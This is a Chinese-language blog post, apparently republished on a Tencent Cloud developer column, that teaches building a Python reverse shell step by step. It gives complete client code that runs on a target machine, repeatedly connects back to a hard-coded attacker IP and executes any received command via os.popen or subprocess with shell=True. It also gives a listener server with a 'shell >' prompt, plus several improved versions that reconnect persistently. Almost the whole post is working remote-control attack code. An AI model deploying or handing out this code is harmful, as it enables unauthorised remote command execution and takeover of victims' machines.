前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python反向shell

python反向shell

作者头像
字节脉搏实验室
发布2021-01-06 00:12:58
6860
发布2021-01-06 00:12:58
举报
文章被收录于专栏:字节脉搏实验室

文章源自-投稿

作者-白中白

参考前面的正向shell后写出来的,此处还是要感谢MiaGz大师傅,先写出来一个初始版本,然后再进行改进

0x00:基础客户端部分

客户端,用于在目标机器上运行,它会自动去找服务端

import os

import socket

import time

#先将要链接的目标地址和端口设置好

Host = '192.168.2.81';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

#初始化套接字,这里用的参数都是默认的

s_socket = socket.socket()

#设置死循环,让他一直请求

while True:

#正常执行部分,如果连接失败就挂起来5秒,再次执行

try:

#使用connect方法连接目标地址和端口

s_socket.connect(addr)

#设置死循环

while True:

# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

data = s_socket.recv(1000).decode();

# 判断解码后的数据是否等于条件,如果是说明退出了

if data == 'quit' or data == 'exit':

# 调用close方法关闭链接

s_socket.close()

# 结束循环

break;

# 调用popen方法,执行传过来的命令

# popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。

# mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着

# 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。

# 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,

# 它是全缓冲。如果没有改参数,使用系统的默认值。

value = os.popen(data);

# 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多

fh = os.system(data);

# 判断是否等于0,成立表示执行成功

if fh == 0:

# 使用read方法读取value的值,然后赋值给value

value = value.read();

# 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真

if not value:

# 给value一个字符串,表示执行成功了

value = 'Execution succeed';

# 如果不等于0,就打印下面的话

else:

value = 'sh: %s: command not found' % (data);

# 将value编码后发送给s_socket套接子绑定的对象

s_socket.send(value.encode());

except:

# try部分出现异常就停止无秒,在执行

s_socket.close();

time.sleep(5);

0x01:基础服务端部分

服务端,攻击者监听的地址

import os,socket

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(2);

#用来控制循环

stop = True;

while stop:

#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

#第二个元素也是一个元组,包含P和端口,简单来说他会返回一个新的套接字

c_socket,addr = s_socket.accept();

while True:

try:

#输入要执行的命令

commd = input('shell > ');

#将输入的指令进行编码,然后发送给连接的套接字

c_socket.send(commd.encode());

# 退出连接

if commd == 'quit' or commd == 'exit':

# 关闭套接字连接

c_socket.close()

# 设置大循环的值为False

stop = False;

# 结束循环

break;

#使用recv接收数据量,最大值为10000

data = c_socket.recv(10000);

#打印解码后的数据

print(data.decode());

#出现异常就执行

except:

#先关闭套接字,然后结束循环

c_socket.close();

break;

s_socket.close();

0x03:改良方法

改良版:经过测试后发现几个小问题

1、就是我们的服务端再退出后,在其开启,客户端会出现连接不了的情况,经过调试后,发现是因为初始化套接字在经过连接后值会发生改变,而断开在重连他会带有一些原本的标识,而新的连接已经发生了改变,所以无法找到,于是陷入死循环,一直无法连接,于是就把初始化套接字放在大循环里,连接成功部分是在小循环进行的,如果断开后,就重新初始化套接字,再次连接目标,这样来刷新断开后的套接字完成,只要客户端在运行,就可以连接到服务端

2、如果客户端被强制关闭将导致服务端报错退出,而不是继续等待新的连接,调试后发现是因为我们在服务端在遇到报错后会退出内循环,然后关闭掉套接字(s_socket)连接,导致我们外循坏再次开始等待TCP连接时,发现连接已经被关闭从而报错,所以将关掉套接字(s_socket)连接位置换到识别到quit或者exit部分,如果遇到他们就关闭连接,因为是主动要求退出

0x04:改进版客户端

客户端,把测试到的小问题修了一下

import os

import socket

import time

#先将要链接的目标地址和端口设置好

Host = '192.168.2.81';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

#设置死循环,让他一直请求

while True:

# 正常执行部分,出现错误或异常就去执行except部分

try:

# 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上

s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 使用connect方法连接目标地址和端口

s_socket.connect(addr)

#设置死循环

while True:

# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

data = s_socket.recv(1000).decode();

# 判断解码后的数据是否等于条件,如果是说明退出了

if data == 'quit' or data == 'exit':

# 调用close方法关闭链接

s_socket.close()

# 结束循环

break;

# 调用popen方法,执行传过来的命令

# popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。

# mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着

# 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。

# 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,

# 它是全缓冲。如果没有改参数,使用系统的默认值。

value = os.popen(data);

# 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多

fh = os.system(data);

# 判断是否等于0,成立表示执行成功

if fh == 0:

# 使用read方法读取value的值,然后赋值给value

value = value.read();

# 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真

if not value:

# 给value一个字符串,表示执行成功了

value = 'Execution succeed';

# 如果不等于0,就打印下面的话

else:

value = 'sh: %s: command not found' % (data);

# 将value编码后发送给s_socket套接子绑定的对象

s_socket.send(value.encode());

except:

# try部分出现异常就停止无秒,在执行

time.sleep(5);

0x05:改进版服务端

服务端,修了点小问题,加了点打印使其看起来更明显一些

import os,socket,time

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(2);

#用来控制循环

stop = True;

while stop:

#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

#第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量

c_socket,(ip,port) = s_socket.accept();

print('成功连接到目标%s' % ip)

while True:

try:

#输入要执行的命令,并显示使用的IP地址,这样看着清楚点

commd = input('shell %s > '%ip);

#将输入的指令进行编码,然后发送给连接的套接字

c_socket.send(commd.encode());

# 退出连接

if commd == 'quit' or commd == 'exit':

# 关闭套接字连接

c_socket.close();

s_socket.close();

# 设置大循环的值为False

stop = False;

# 结束循环

break;

#使用recv接收数据量,最大值为10000

data = c_socket.recv(10000);

#打印解码后的数据

print(data.decode());

#出现异常就执行

except:

#先关闭套接字,然后结束循环

c_socket.close();

#打印出来与那个客户端的连接断开了

print('与客户端(%s)的连接断开'%ip);

print('等待重连中~~~~')

break;

改进版服务端,之前的发现如果输入回车,他会卡在哪里无法继续,调试发现这是发送不出去数据导致

import os,socket,time

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 2333;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,格式为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(1);

#用来控制循环

stop = True;

while stop:

#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

#第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量

c_socket,(ip,port) = s_socket.accept();

print('成功连接到目标%s' % ip)

while True:

try:

#输入要执行的命令,并显示使用的IP地址,这样看着清楚点

commd = input('shell %s > '%ip);

#将输入的指令进行编码,然后发送给连接的套接字

c_socket.send(commd.encode());

# 退出连接

if commd == 'quit' or commd == 'exit':

# 关闭套接字连接

c_socket.close();

s_socket.close();

# 设置大循环的值为False

stop = False;

# 结束循环

break;

if commd == '':

continue;

#使用recv接收数据量,最大值为10000

data = c_socket.recv(10000);

#打印解码后的数据

print(data.decode());

#出现异常就执行

except:

#先关闭套接字,然后结束循环

c_socket.close();

#打印出来与那个客户端的连接断开了

print('与客户端(%s)的连接断开'%ip);

print('等待重连中~~~~')

break;

客户端,将os替换成了subprocess,并且内置方法communicate更为好用一些,该方法会返回出现的正常情况和错误情况。i比如ls执行成功,正确情况会返回相应的信息,而我们输入sssss这种,会返回终端所提示的错误信息,并且加入了如果执行的是成功的命令但是没有输出信息的话,会给他一条信息,比如执行成功,这样来提示

import socket

import time

import subprocess

#先将要链接的目标地址和端口设置好

Host = '192.168.2.72';

Port = 2333;

#将ip和端口作为一个元组的格式给addr

addr = (Host,Port);

#设置死循环,让他一直请求

while True:

# 正常执行部分,出现错误或异常就去执行except部分

try:

# 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上

s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 使用connect方法连接目标地址和端口

s_socket.connect(addr)

#设置死循环

while True:

# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据

data = s_socket.recv(1000).decode();

# 判断解码后的数据是否等于条件,如果是说明退出了

if data == 'quit' or data == 'exit':

# 调用close方法关闭链接

s_socket.close()

# 结束循环

break;

#subprocess:可以在当前程序中执行其他程序或命令,实例化一个Popen类,data是要执行的命令,后面的则是参数部分,shell=True表示明确要求使用shell来运行程序,与另一个参数一同指定程序运行在什么shell中但此处没有设置,所以会使用默认/bin/sh来执行指定的程序,后面的三个参数是因为我们要用communicate方法,所以需要设置成这种格式,否则可以不要

comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);

#wait函数用于回收进程,不然父进程比子进程先停止的话子进程就会没人回收,变成僵尸进程一直占用资源,会返回一个comm.returncode属性,returncode会返回子进程的状态,如果为空则表示没结束,=0则表示正常推出,大于0表示异常退出,小于0表示被信号杀掉了,取得返回值,来判断是出现什么情况

a = comm.wait();

#communicate函数会和子进程交流,其格式communicate(input=None),会将参数input(字符串)中的数据发送给子进程的stdin,同时从子进程的stdout和stderr读取数据,直到EOF,返回值是一个元组,有两个元素,分别表示标准输出,和错误输出中读取的数据

#将读取到的数据给不同的变量

STDOUT,STDERR=comm.communicate();

#如果=0则表示正常退出

if a == 0:

#如果是touch等命令则会导致没有值,所以给他个提示

if STDOUT == b'':

STDOUT='Execute successfully';

#因为这里被赋值了一个字符串,所以需要编码发送

s_socket.send(STDOUT.encode());

#将正常读取的信息通过套接子发送给服务端,因为读取到的就是字节而不是字符串,所以不需要进行编码,想要读取则需要解码

else:

s_socket.send(STDOUT);

#如果大于0则表示异常推出

elif a > 0:

#将错误信息通过套接子发送给服务端

s_socket.send(STDERR);

except:

# try部分出现异常就停止5秒,在执行

time.sleep(5);

而上面的看起来非常繁琐而不简便,这里忘了应该先模块化的,在看了一个外国大佬的视频后,参考将自己的也分为一个个函数,这样条理明晰一些,这样需要时候直接调用即可

0x06:终极版

服务端(控制端)

import socket

#设置监听的地址和端口

Host = '0.0.0.0';

Port = 6666;

#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量

HostPort = (Host,Port);

#负责连接通讯的

def server(s_socket):

#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket

#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的

#第二个元素也是一个元组,包含P和端口

c_socket,addr = s_socket.accept();

while True:

try:

#输入要执行的命令

commd = input('shell > ');

if commd == '':

continue;

#将输入的指令进行编码,然后发送给连接的套接字

c_socket.send(commd.encode());

# 退出连接

if commd == 'quit' or commd == 'exit':

# 关闭套接字连接

c_socket.close()

break;

# 结束循环,然后回结束这个函数,返回一个None,空等于假,所以会结束

#使用recv接收数据量,最大值为10000

data = c_socket.recv(10000);

#打印解码后的数据

print(data.decode());

#出现异常就执行

except:

#先关闭套接字,然后返回一个真,让外部继续循环,因为不是主动退出,所以重新进行连接

c_socket.close();

print('连接断开:正在等待新的连接~~~~~');

return True;

def main():

#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

#将地址和端口使用bind绑定到s_socket,参数格式要求为一个元组

s_socket.bind(HostPort);

#设置最大连接数量

s_socket.listen(2);

#用来控制循环

stop = True;

while stop:

stop = server(s_socket);

if __name__ == '__main__':

main();

客户端(被控端),记得修改端口和IP

import subprocess,socket

#设置基本设置部分

host = '192.168.199.127';

port = 6666;

ipport = (host,port);

#负责连接

def server(s_socket):

#连接成功则开始下面的循环,不成功就异常

while True:

try:

#使用recv方法接收发来的数据,接收的数据量为10000,如果不设置会接受不到数据

data = s_socket.recv(10000).decode();

if data == 'quit' or data == 'exit':

return 0;

#实例化一个Popen对象,这里用subprocess替换掉了os,data是要执行的字符串,shell=True表示要求使用shell运行程序。这里因为没有使用另一个参数,所以他会使用/bin/sh来执行data。也就是python先启一个shell,然后执行data

comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);

#wait方法,等待子进程 comm 终止,返回 comm.returncode 属性;返回值为一个数字,0表示执行成功,大于0表示异常推出,小于0表示被信号干掉

number = comm.wait();

#communicate方法会返回一个二元组,分别是正常的执行结果和异常的错误信息

STDOUT,STDERR = comm.communicate();

#表示正常执行

if number == 0:

#判断STDOUT是否为空,如果为空就给他一个字符串表示执行成功了

if STDOUT == b'':

STDOUT = b'Execute successfully';

s_socket.send(STDOUT);

else:

s_socket.send(STDOUT);

#如果大于0就是异常退出

elif number > 0:

#就将错误信息发过去

s_socket.send(STDERR);

except:

pass;

def main():

#设置死循环,用来一直寻找目标

while True:

try:

#初始化套接子,实例化对象,两个参数都是默认的,因为每次连接过后套接子都会获取连接过来的参数,所以如果断开我们就需要重新初始化套接子,好接受一个新的目标

s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s_socket.connect(ipport);

#调用了自定义函数server,将s_socket作为实惨传输进去

server(s_socket);

except:

pass;

if __name__ == "__main__":

main();

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档